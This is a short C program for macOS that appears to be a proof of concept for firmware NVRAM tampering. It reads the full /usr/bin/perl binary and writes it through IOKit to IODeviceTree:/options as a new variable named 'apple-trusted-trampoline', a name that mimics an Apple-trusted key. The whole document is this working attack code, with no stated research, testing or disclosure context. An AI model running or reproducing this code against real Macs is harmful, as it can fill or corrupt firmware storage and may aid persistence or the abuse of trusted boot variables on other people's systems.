#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#include <stdio.h>
#include <stdlib.h>

// Function to read the file data into a CFData object
CFDataRef readFileData(const char *filePath) {
    FILE *file = fopen(filePath, "rb");  // Open the file in binary mode
    if (!file) {
        printf("Unable to open file: %s\n", filePath);
        return NULL;
    }

    // Get file size
    fseek(file, 0, SEEK_END);
    long fileSize = ftell(file);
    fseek(file, 0, SEEK_SET);

    // Allocate memory to store the file contents
    unsigned char *buffer = (unsigned char *)malloc(fileSize);
    if (!buffer) {
        printf("Failed to allocate memory for file data.\n");
        fclose(file);
        return NULL;
    }

    // Read the file contents into the buffer
    fread(buffer, 1, fileSize, file);
    fclose(file);

    // Create CFData from the buffer
    CFDataRef data = CFDataCreate(kCFAllocatorDefault, buffer, fileSize);
    
    // Free the buffer since CFData now holds the file data
    free(buffer);

    return data;
}

int main() {
    io_registry_entry_t service;
    kern_return_t result;
    mach_port_t mainPort;

    // Step 1: Get the main port to communicate with the IOKit
    IOMainPort(kIOMasterPortDefault, &mainPort);

    // Step 2: Get the I/O registry entry from the path "IODeviceTree:/options"
    service = IORegistryEntryFromPath(mainPort, "IODeviceTree:/options");

    if (!service) {
        printf("Unable to find IORegistry entry at IODeviceTree:/options.\n");
        return -1;
    }

    // Step 3: Read the binary data from the file
    CFDataRef fileData = readFileData("/usr/bin/perl");
    if (!fileData) {
        IOObjectRelease(service);
        return -1;
    }

    // Step 4: Create the key for the new property
    CFStringRef key = CFStringCreateWithCString(kCFAllocatorDefault, "apple-trusted-trampoline", kCFStringEncodingUTF8);

    // Step 5: Set the new binary property (CFData) in the registry at IODeviceTree:/options
    result = IORegistryEntrySetCFProperty(service, key, fileData);

    if (result == KERN_SUCCESS) {
        printf("Successfully set 'apple-trusted-trampoline' with the binary data\n");
    } else {
        printf("Failed to set property: %d\n", result);
    }

    // Step 6: Clean up and release resources
    CFRelease(key);
    CFRelease(fileData);
    IOObjectRelease(service);

    return 0;
}